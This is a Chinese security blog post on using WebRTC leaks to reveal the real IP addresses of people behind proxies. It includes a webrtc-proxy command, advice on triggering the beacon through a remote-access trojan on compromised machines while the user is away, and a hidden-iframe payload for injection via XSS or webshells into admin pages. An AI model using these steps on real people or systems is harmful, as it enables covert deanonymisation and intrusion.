WebRTC溯源的几个实战利用场景

VSole2023-07-12 09:24:37

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

0x00 前言

最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。

目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。

0x01 泄露原因

浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC。

0x02 在线检测

WebRTC可怕之处在于,即使我们使用VP嗯、或者通过小飞机、v2rayN等进行全局代理后仍会泄露我们的真实IP,可以用以下几个网址来检测,如下图所示。

https://ip8.com/webrtc-testhttps://www.hackjie.com/trackinghttps://browserleaks.com/webrtchttps://surfshark.com/zh/webrtc-leak-test

注:群里几个小伙伴用他们的VP嗯也测试了下,但发现并没有显示真实IP,有时只会显示一个内网IP;由于我没有VP嗯就不测试了,大家有的可以自己去测试下。

0x03 项目介绍

简单介绍下@iiiusky师傅的webrtc-proxy项目,它是通过 "反向代理 + webrtc" 的方式在对方神不知鬼不觉的情况下获取对方的真实IP,具体参数说明可见下图。

项目地址:https://github.com/iiiusky/webrtc-proxy

0x04 实战场景

搞攻防演练和做HC的基本都会挂代理来隐藏自己的真实IP,那么我们又该如何获取他们的真实IP呢?仅提供几种场景下的利用思路,实战还得根据所遇到的场景测试。

1. 钓鱼场景利用

假设我们在攻防演练中通过反制手段拿到红队主机权限,或者通过钓鱼方式拿到某BC客服、技术、代理的主机权限,这时就可以利用webrtc-proxy获取对方的真实IP。

执行以下命令可反代指定网站并生成一个webrtc地址以隐藏形式插入到body标签中,不过我们最好还是反代他们自己网站或者常用网站,要不容易被管理发现异常。

./WebRtc -d 1.***.**.84 -t https://www.baidu.com -p 80 --disable-random-log

因为要通过他们主机的浏览器去访问我们的反代地址,有啥浏览器就用啥吧,但最好还是先观察下对方是否在电脑前,趁其不在时再去操作。

反正也就“3秒”的事,等完事了再“擦擦”...。

这里我用的QuasarRAT开源远控进行测试,通过“Sent to Website”功能使用他们主机的默认浏览器访问反代地址或webrtc地址,但需要将“隐藏访问”选项取消勾选。

执行以上操作后对方主机就会使用默认浏览器访问我们给定的这个网址,这时可以看到已经成功获取到他代理背后的真实IP了,如下图所示。

反向代理开启后会在当前目录下生成两个日志文件,access为访问日志,另一个为webrtc日志,找到的真实IP就会写入在这个文件中,如下图所示。

注意事项:

  1. 我们也尝试了一些浏览器的静默访问方法,但都只能获取到代理IP,无法获取到真实IP,好像是因为没能加载反代中的webrtc吧,没找到更好的静默访问方法,暂时只能这样了。
  2. 补充:最近了解到一个叫HVNC的东东,理论上应该是可行的,但我并没有去测试;国外大多数RAT都有这功能,如:Venom RAT,大家可以自己去测试下。HVNC!隐藏桌面CobaltStrike插件
  3. 为什么不直接RDP进去使用在线检测网址获取真实IP呢?因为这样动静太大,更容易被管理发现,因为登录RDP产生的日志更多,可能会触发防护的登录提醒而导致权限丢失。

2. 漏洞场景利用

当挖到xss、csrf、上传等漏洞时就可以通过构造payload插入我们的webrtc地址来获取对方的真实IP,只要他通过浏览器访问了我们的webrtc时即可获取到真实IP。

title="Damn Vulnerable Web Application (DVWA)-v1.9"

或者通过某些漏洞拿到webshell权限后可以在管理、代理后台登录页的源代码中插入我们的webrtc,直接用以下代码即可,等待他们访问后台时即可获取到真实IP。

<iframe style="display:none;" src="webrtc"></iframe>

webrtc
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。0x01 泄露原因浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC
漏洞概述  漏洞名称Google Chrome WebRTC 堆缓冲区溢出漏洞漏洞编号QVD-2023-48180,CVE-2023-7024公开时间2023-12-20影响量级千万级奇安信评级高危CVSS 3.1分数8.8威胁类型代码执行、拒绝服务利用可能性高POC状态未公开在野利用状态已发现EXP状态未公开技术细节状态未公开利用条件:需要用户交互。01 漏洞详情影
通过WEBRTC结合stun服务器实现获取真实主机IP测试:真实IP:挂代理之后的ip保存以下代码到本地:. 在挂代理的条件下,访问,即可获得 代理后面的真实IP:具体WEBRTC、STUN的原理,感兴趣的自行google
Chrome 0 day漏洞被用于Candiru监控恶意软件。
成功利用此漏洞可导致程序崩溃甚至任意代码执行
CISA敦促在出现两个严重漏洞时迅速采取行动。网络安全和基础设施安全局(CISA)已向联邦机构发出紧急通知,规定缓解工作的最后期限为1月23日。
网络安全和基础设施安全局(CISA)已识别出两个重大漏洞,并将其添加到其已知的可利用漏洞(KEV)目录中。这些漏洞涉及Google Chrome中最近修补的缺陷以及影响开源Perl库“Spreadsheet::ParseExcel”的错误,该库专为读取Excel文件中的信息而设计。
临近年末Google Chrome发布了v120.0.6099.129和v120.0.6099.130版,这次更新修复一枚已经在野外遭到黑客利用的安全漏洞,这也是Chrome在2023年的第八个零日漏洞。
VSole
网络安全专家